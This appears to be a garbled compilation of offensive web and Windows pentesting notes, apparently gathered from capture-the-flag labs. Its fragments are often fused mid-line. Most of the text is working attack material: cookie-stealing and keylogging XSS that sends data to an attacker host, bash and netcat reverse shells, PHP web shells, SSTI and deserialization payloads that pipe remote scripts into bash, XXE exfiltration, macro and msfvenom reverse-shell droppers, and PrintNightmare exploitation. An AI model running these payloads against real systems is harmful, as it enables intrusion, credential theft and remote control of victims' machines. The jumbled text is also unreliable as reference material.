-|Parameter|Details| -|-r|Uses the intercepted request save as a file| -|--dbms|DBMS of target| -|--dump|Dump the entire database| -|--dump-all|Dump everything| -|-p |TESTPARAMETER| -|--os-shell|Prompt for an interactive operating system shell| -|--os-pwn|Prompt for an OOB shell, Meterpreter or VNC| -|--tables|Show tables| -|-T|Specify table|
-python dsss.py -u "http://example.com/index.php?id="
-If msg is 0 and the msglength is longer, return from server is arbitrary memory content
-X-Originating-IP: 127.0.0.1
-X-Forwarded-For: 127.0.0.1
-X-Remote-IP: 127.0.0.1
-X-Remote-Addr: 127.0.0.1
-X-Client-IP: 127.0.0.1
-X-Host: 127.0.0.1
-X-Forwared-Host: 127.0.0.1
-tcpdump on ICMP to listen for packetssleep or timeout to check if ci is possible in generaleval()exec()passthru()system()* wildcard noneself for sources delivered through the same protocoldefault-src 'self'; may not load any scriptunsafe-inlineunsafe-eval test.com loads resources from domain but not subdomains*.test.com loads resources from subdomainsdata:<content-type>... critical usagenonce loads if nonce is correct. sha256, sha384, sha512Find JSONP endpoints through which to use custom callback functions -* JSONBee
-"><script+src="https://bebezoo.1688.com/fragment/index.htm?callback=alert(1337)"></script>
-Insert payload into src attribute
connect-src while Ajax/XHR requests are enabledimage-src or media-src source<script>(new Image()).src = `https://example.com/${encodeURIComponent(document.cookie)}`</script>
-other payloads
-<link id="csp" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById("csp").href="http://<attacker-IP>:8000/" + document.cookie;</script>
-<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js" integrity="sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==" crossorigin="anonymous"></script>
-<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
-<div ng-app ng-csp>
-{{$on.curry.call().document.location='https://<attacker-IP>/' + $on.curry.call().document.cookie}}
-</div>
-;Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
- <input type="hidden" name="csrf_protect" value="eyJk..n0=">
-Forced browsing is the art of using logic to find resources on the website that you would not normally be able to access. For example let's say we have a note taking site, that is structured like this. http://example.com/user1/note.txt. It stands to reason that if we did http://example.com/user2/note.txt we may be able to access user2's note.
-pip install wfuzzwfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/big.txt --hw 57 http://10.10.28.2/FUZZ/note.txt
-|Parameter|Detail| -|---------|------| -|-c|Shows the output in color| -|-z|Specifies what will replace FUZZ in the request. For example -z file,big.txt will read through all the lines of big.txt and replace FUZZ with| -|--hc|Don't show certain http response codes| -|--hl|Don't show a certain amount of lines in the response| -|--hh|Don't show a certain amount of words| -|--hw|Don't show word response return val of this length|
- -Changing URL parameters.
- -curl -X POST -F "submit=<value>" -F "<file-parameter>=@<path-to-file>" <site>
-* Intercept and modify incoming page via Burpsuite
-* Intercept and modify upload of already loaded page via Burpsuite
-Object.__proto__. toString() is inherited by all objects.obj.__proto__
-Object.prototype
-let obj = {}
-__proto__.obj.__proto__.isAdmin = true
-requireeval.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
-.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
-header.payload.signature
-{ "alg": "HS256", "typ": "JWT"}
-Payload: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.
-Signature: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)
-alg: NONE, so no third part is needed.eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
-{"type": "JWT", "alg": "none"}
- eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0{"typ":"JWT","alg":"NONE"} with trailing \n
- eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0KHMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
-|Parameter|Details| -|---------|-------| -|Token | The HS256 JWT Token| -|Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")| -|max-length|Secret max length (default: 12)|
-[whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4
-Attempts: 100000
-Attempts: 200000
-Attempts: 300000
-SECRET FOUND: pass
-Time taken (sec): 11.605
-Attempts: 346830
-It is calculated by using server K_pub, which may be gained via content of the server cert
{"typ": "JWT", "alg": "HS256"}, spaces inbetween values.$ echo -n '{"typ": "JWT", "alg": "HS256"}' | base64
-eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
-== at the end.echo -n '{"iss":"http://localhost","iat":1585323784,"exp":1585323904,"data":{"hello":"world"}}' | base64
-eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ==
-K_pub file to hex
-sh
-cat id_rsa.pub | xxd -p | tr -d "\\n"sh
-echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey <converted_public_hex>python
-python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<signature_as_hexval>')).replace('=','')\")"To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like https://test.com/?file=robots.txt, the file may be changed.
include()
-require()
-include_once ()
-require_once()
-http://example.com/home?page=about.html
-http://example.com/home?page=/etc/passwd
-* changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
-```
-http://example.com/home?page=../../../../etc/passwd
-```
-or
-```
-http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
-```
-www-data needs read & write permisson in order to do so.User-Agent header of the HTTP request. For example a GET parameter to deliver system commandsas followscurl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
-curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
-/proc/self/fd/xx./etc/issue/etc/profile/proc/version/etc/passwd/etc/apache2/.htpasswd/etc/shadow/etc/group/etc/motd/etc/mysql/my.cnf/root/.bash_history/var/log/dmessage/var/mail/root/root/.ssh/id_rsa/var/log/apache2/access.logC:\boot.ini/proc/self/fd/xx/proc/version/proc/cmdline/proc/[0-9]*/fd/[0-9]*
sess_<cookieValue> if the location of the session file is known. Some paths are
c:\Windows\Temp
-/tmp/
-/var/lib/php5
-/var/lib/php/session
-curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
-curl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd
-curl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=
-%00 or 0x00 does the trick until PHP 5.3.4/...//..//..//file, double slashes[TOC] -We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.
-Assuming that our malicious file upload has been stopped by the server, here are some ways to ascertain what kind of server-side filter may be in place:
-* If you can successfully upload a file with a totally invalid file extension (e.g. testingimage.invalidfileextension) then the chances are that the server is using an extension blacklist to filter out executable files. If this upload fails then any extension filter will be operating on a whitelist.
-* Try re-uploading your originally accepted innocent file, but this time change the magic number of the file to be something that you would expect to be filtered. If the upload fails then you know that the server is using a magic number based filter.
-* As with the previous point, try to upload your innocent file, but intercept the request with Burpsuite and change the MIME type of the upload to something that you would expect to be filtered. If the upload fails then you know that the server is filtering based on MIME types.
-* Enumerating file length filters is a case of uploading a small file, then uploading progressively bigger files until you hit the filter. At that point you'll know what the acceptable limit is. If you're very lucky then the error message of original upload may outright tell you what the size limit is. Be aware that a small file length limit may prevent you from uploading the reverse shell we've been using so far.
-_$$ND_FUNC$$_function (){} is executed after parsingsudo tcpdump -i <interface> icmp{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('ping -c 10 <attacker-IP>', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
-{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('curl <attacker-IP>:8000 | bash', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
-Injecting commands to execute code on the server side via php.
-Attacker does not register a direct response.
-Try to save output to URI resource like output.php
$_REQUEST as an array favors POST over GET. So, sending the attacker email address via POST with the GET query parameter.<URL>/?view=php://filter/read=convert.base64-encode/resource=./dog/../index
-exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" test-USERNAME.jpeg.php
-<?php
- $cmd = $_GET["wreath"];
- if (isset($cmd)){
- echo "<pre>" . shell_exec($cmd) . "</pre>";
- }
- die();
-?>
-Obfuscated code with escaped $
<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>
-?wreath=systeminfocurl http://ATTACKER_IP/nc.exe -o c:\\windows\\temp\\nc-USERNAME.exe
-powershell.exe c:\\windows\\temp\\nc-USERNAME.exe ATTACKER_IP ATTACKER_PORT -e cmd.exe
-GET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
-Host: 10.10.59.238
-User-Agent: <?php file_put_contents('monkey.php',file_get_contents('http://<attacker-IP>:<attacker-Port>/shell.php')); ?>
-[...]
-curl 'http://10.10.211.157/?ext=%20HTTP/1.1&view=./dog/../../../../var/log/apache/access.log' -H "User-Agent: <?php file_put_contents('monkey.php', file_get_contents('http://10.9.7.193:8000/shell.php'));?>"
-10.10.211.157/?ext=.log&view=./dog/../../../../var/log/apache2/access
-10.10.211.157/monkey.php<URL>/phpinfo.phpecho "#!/usr/bin/env bash" > rev.sh
-echo "cat /etc/passwd > <basepath>/output.txt" >> rev.sh
-
-python2 ./chankro.py --arch 64 --input rev.sh --output chan.php --path <basepath>
-Serialize via
-<?php
-class FormSubmit {
- public $form_file = 'messages.php';
- public $message = '<?php
- if(isset($_GET[\'cmd\']))
- {
- system($_GET[\'cmd\']);
- }
-?>';
-}
-
-print urlencode(serialize(new FormSubmit));
-?>
-<?php class file
- {
- public $file = 'rev.php'; public $data = '<?php shell_exec("nc -e /bin/bash $TARGET_IP 4455"); ?>';
- }
- echo (serialize(new file));
-?>
-Let's understand this with the help of an example, say there is an existing user with the name admin and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter " admin"(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. And that new user will also be able to see all the content present under the user admin.
- try to register a user name darren, you'll see that user already exists so then try to register a user " darren" and you'll see that you are now logged in and will be able to see the content present only in Darren's account which in our case is the flag that you need to retrieve.
-https://test.com/files.php?file=http://<attacker-IP>:<attacker-Port>/reverse_shell.txt
-<?php
-$loc = "http://127.0.0.1/";
-
-if(isset($_GET['a'])){
- $loc = $_GET['a'];
-}
-header('Location: '.$loc);
-?>
-<iframe src="http://$ATTACKER_IP:4711/ssrf.php?a=file:///etc/passwd"/>
-php -S 0.0.0.0:4711
-is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.
-Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.
-http://127.0.0.1:3306
-http://localhost:5432
-http://0.0.0.0:53
-http://[::]:3306
-http://:::3006
-169.254.0.0/16169.254.169.254 --> AWS info
-169.254.169.253 --> DNS AWS VPC
-169.254.169.123 --> Stratum 3 NTP
-127.0.0.1:53 --> systemd DNS
-file:///etc/passwd
-http://<ssrf-Server>/?url=http://<AppServer>/secret/url
-http://<ssrf-Server>/?url=/item?id=42
-http://<ssrf-Server>/?url=../../etc/passwd
-&x=&id=42. Parameter x does not exist. So, it will be ignoredhttp://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42
-User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.
-<input type="radio" name="avatar" value="assets/avatars/6.png">
-This may be used for path traversal
-<input type="radio" name="avatar" value="x/../private">
-Check return value of the form for result.
-localtest.me resolves to 127.0.0.1, may be used to extend a domain inside a parameter to redirect to localhost.Pass in parameters to control the template.
-{{2+2}}
-{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
-{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
-{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
-Identify via payload checking
-* Smarty: a{*comment*}b
-* Mako: ${"z".join("ab")}
-* Twig or Jinja2
{{7*7}}
-{{7*'7'}}
-git clone https://github.com/epinna/tplmap.git
-pip2 install -r requirements
-|HTTP Method|Parameter|
-|-----------|---------|
-|GET|tplmap -u <url>/?<vulnparam>|
-|POST|tplmap -u <url> -d '<vulnparam>'|
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"
-input = re.sub("[^A-Za-z0-9]", "", input)
-template = "User input is {{ input }}"
-return render_template_string(template, input=input)
-rev{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}}
-Update user profile and append POST parameter to gain administrator role on user
-&ure_other_roles=administrator
-exploit/unix/webapp/wp_admin_shell_upload
-akismet.phpSimilar to SQL injection, it is a input/parameter injection
-A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.
-This is where a malicious string originates from the websites database. Such as (stored in a db) -* User profiles -* Chats and comments -* Part of link
-<script>document.getElementById('myIdName').innerHTML="napf"</script>
-<script>document.location='/log/'+document.cookie</script>
-* Navigte to `/logs` and take sid
-<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
-<script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>
-In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload. -* URL parameters inside GET queries -* File paths
-As script inside parameter
-http://example.com/search?keyword=<script>...</script>
-http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>
-<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>
-* open netcat binder to catch the http queries
-With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:
-var keyword = document.querySelector('#search')
-keyword.innerHTML = <script>...</script>
-test" onmouseover="alert('YO!')"
-test" onmouseover="alert(document.cookie)"
-<script> sanitizing<img src=x onerror=alert('Hello');>
-or
-<</script>script>alert("1");<</script>/script>
-alert() sanitizing0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"
-or
-0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
-Hello<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
- <script>
-โfor (let i = 0; i < 256; i++) {
-โโlet ip = '192.168.0.' + i
-
-โโlet code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
-โโdocument.body.innerHTML += code
-โ}
-</script>
- <script type="text/javascript">
-โlet l = ""; // Variable to store key-strokes in
-โdocument.onkeypress = function (e) { // Event to listen for key presses
-โโโl += e.key; // If user types, log it to the l variable
-โโโconsole.log(l); // update this line to post to your own server
-โ}
-</script>
-<script>
-document.onkeypress = function (e) {
- fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );
-}
-</script>
-</tag><script>alert(1);</script>
-There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.
-Escaping - Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.
-Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.
-Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity <
-wp-config.phpwav Payloadecho -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<attacker-IP>:<Port>/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
-dtd Payload, which is downloaded from attacker machine by the wp instance. Following payload<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
-<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<attacker-IP>:<attackerPort>/?p=%file;'>" >
-php -S 0.0.0.0:8000
-python -m http.server
-php file<?php echo zlib_decode(base64_decode('<returnedBase64>')); ?>
-An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.
-There are two types of XXE attacks: in-band and out-of-band (OOB-XXE). -1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.
-A DTD defines the structure and the legal elements and attributes of an XML document.
-note.dtd<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
-to element to be of type "#PCDATA"from element to be of type "#PCDATA"heading element to be of type "#PCDATA"!ELEMENT body - Defines the body element to be of type "#PCDATA"
NOTE: #PCDATA means parseable character data.
-Resulting XML doc follows
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE note SYSTEM "note.dtd">
-<note>
- <to>falcon</to>
- <from>feast</from>
- <heading>hacking</heading>
- <body>XXE attack</body>
-</note>
-<!DOCTYPE replace [<!ENTITY name "feast"> ]>
- <userInfo>
- <firstName>falcon</firstName>
- <lastName>&name;</lastName>
- </userInfo>
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
-<root>
-<name>sdafsa</name>
-<tel>789731421</tel>
-<email>&xxe;</email>
-<password>12345</password>
-</root>
-<?xml version="1.0"?>
-<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
-<root>&read;</root>
-<?xml version="1.0"?>
-<!DOCTYPE foo [ <!ELEMENT foo ANY >
-<!ENTITY xxe SYSTEM "expect://id" >]>
-<root>
- <email>&xxe;</email>
- <password>12345</password>
-</root>
-SafeDllSearchMode enabled searches paths in following order:
-GetSystemDirectoryGetWindowsDirectorySafeDllSearchMode disabled searches in following order:
-#include <windows.h>
-
-BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
- if (dwReason == DLL_PROCESS_ATTACH) {
- system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
- ExitProcess(0);
- }
- return TRUE;
-}
-x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
-sc stop dllsvc
-sc start dllsvc
-AlwaysInstalledElevated keys inside the registry viareg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f msi -o shell.msi
-msiexec /quiet /qn /i C:\Temp\shell.msi
-reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
-reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
-crackmapexec smb $DOMAIN -u <user> -p <password>
-CQTools/CQDPAPIKeePassDecryptor/CQDPAPIKeePassDBDecryptor.exeC:\users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\keepassdec.py./keepassdec.py --masterkey=path/to/masterkey/ -k /path/to/backup/key/ntds_capi_0_07ea03b4-3b28-4270-8862-0bc66dacef1a.keyx.rsa.pvk --entropy_hex=<found entropy> --sid=S-1-5-21-555431066-3599073733-176599750-1125 path/to/blob.bin
-* Use the decrypted blob to
-CQDPAPIKeePassDBDecryptor.exe /k <key> /f <file>.kdbx
-*.kdbx filentds.dit and system.hive are neededsecretsdump.py -system system.hive -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile hashes.txt
-````
-* Remove everything but the hashes
-* Use it to log in on the target
-```sh
-crackmapexec smb $TARGET_IP -u <user> -H hashes.txt
-NBT-NS, identifying hosts in the network by NetBIOS names
-Impersonating the actual service to get credentials
-sudo responder -I <NIC> -rdw -v
-hashcat -m 5600 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
-Target does not even have to open the link directly
-mslink_v1.3.sh -l notimportant -n shortcut -i \\\\$ATTACKER_IP\\yo -o shortcut.lnk
-responder -I eth0
-pth-winexe -U 'admin%hash' //<target-IP> cmd.exe
-reg query HKLM /f password /t REG_SZ /s
-reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
-winexe -U 'admin%password' //<target-IP> cmd.exe
-cmdkey /list
-runas /savecred /user:admin C:\shell.exe
-Clone cube0x0's exploits
-Create virtual env inside cloned repo and install impacket
-pip install .
-pip2 install .
-msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -f dll -o giftcard.dll
-Prepare msf multi handler
-Inside virtualenv
-smbserver share $(pwd) -smb2support
-python CVE-2021-1675.py GROUP/username:'password'@$TARGET_IP '\\$ATTACKER_IP\share\giftcard.dll'
-Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication
-responder -I tun0 -wrvd
-.exe instead of a space.wmic service get name,displayname,pathname,startmode and sc qc <servicename>.\accesschk64.exe /accepteula -uwdq "C:\Service Path\"wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
-cacls "c:\program files\directory"
-powershell -c "Get-WMIObject -Class Win32_Service -Filter \"Name='<service name>'\" | select-object *"
-C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.execopy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"
-net start <service>
-Get-Acl -Path <path> | Format-List
-Save the script Get-ServiceAcl.ps1 and Import-Module Get-ServiceAcl.ps1
Check ServiceRights via
"<servicename>" | Get-ServiceAcl | select ExpandProperty Access
-sc start "servicename"
-Stop-Service -name "servicename"
-Start-Service -name "servicename"
-Executes after user clicks enable content
-Open Excel
-Sub HelloWorld()
- PID = Shell("powershell.exe -c Invoke-WebRequest -Uri https://%ATTACKER_IP%/passwd -OutFile C:\passwd", vbNormalFocus)
-End Sub
-
-Sub Auto_Open()
- HelloWorld
-End Sub
-use windows/misc/hta_servermshta.exeSub HelloWorld()
- PID = Shell("mshta.exe https://%ATTACKER_IP%:8080/c9496fz.hta")
-End Sub
-
-Sub Auto_Open()
- HelloWorld
-End Sub
-msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=443 -f vba -o surprise.vba
-cscript file.exe, command line scriptswscript file.exe, UI scripts
Example (watch out for the whitespace after path, it has to be included)
-Set shell = WScript.CreateObject("Wscript.Shell")
-shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),0,True
-c:\Windows\System32>wscript /e:VBScript c:\Users\user\Documents\shell.txt
-view --> macros, give a name and select document in Macros inmsfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f vba
-Workbook_Open() for excel, Document_Open() for Word macrosSub Document_Open()
- SHELL
-End Sub
-
-Sub AutoOpen()
- SHELL
-End Sub
-
-Sub SHELL()
- <reverse shell goes here>
-End Sub
-mshta is used to excecute<html>
- <body>
- <script>
- var shell= 'cmd.exe'
- new ActiveXObject('WScript.Shell').Run(shell);
- </script>
- </body>
-</html>
-Word 97-2003 Template and Word 97-2003 Documentmsfvenommsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f hta-psh -o shell.hta
-msfconsole viause exploit/windows/misc/hta_server
-Get-ExecutionPolicy
-Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
-powershell -ex bypass -File shell.ps1
-C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<attacker-IP>:8000/powercat.ps1');powercat -c <attacker-IP> -p 4448 -e cmd"
-msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4447 -f psh -o payload.ps1
---Caleb Stewart | John Hammond | July 1, 2021
-
CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."
-Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.
-This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.
-
This has been tested on Windows Server 2016 and Windows Server 2019.
-Add a new user to the local administrators group by default:
-Import-Module .\cve-2021-1675.ps1
-Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
-
-Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
-Supply a custom DLL payload, to do anything else you might like.
-Import-Module .\cve-2021-1675.ps1
-Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
-Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.
-$ pip3 install impacket
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
- [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
- target
-
-PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
-
-positional arguments:
- target [[domain/]username[:password]@]<targetName or address>
-
-optional arguments:
- -h, --help show this help message and exit
- -debug Turn DEBUG output ON
- -no-pass don't ask for password (useful for -k)
- -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
- cannot be found, it will use the ones specified in the command line
- -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-
-connection:
- -port [destination port]
- Destination port to connect to MS-RPRN named pipe
- -target-ip ip address
- IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
- NetBIOS name and you cannot resolve it
-
-authentication:
- -hashes LMHASH:NTHASH
- NTLM hashes, format is LMHASH:NTHASH
-
-driver:
- -name driver name Name for driver
- -env driver name Environment for driver
- -path driver path Driver path for driver
- -dll driver dll Path to DLL
-
-modes:
- -check Check if target is vulnerable
- -list List existing printer drivers
- -delete Deletes printer driver
-$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:Passw0rd@172.16.19.128'
-Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
-
-[*] Enumerating printer drivers
-[*] Driver name: 'Microsoft XPS Document Writer v5'
-[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
-[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
-[*] Copying over DLL
-[*] Successfully copied over DLL
-[*] Trying to load DLL
-[*] Successfully loaded DLL
-$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:Passw0rd@172.16.19.128'
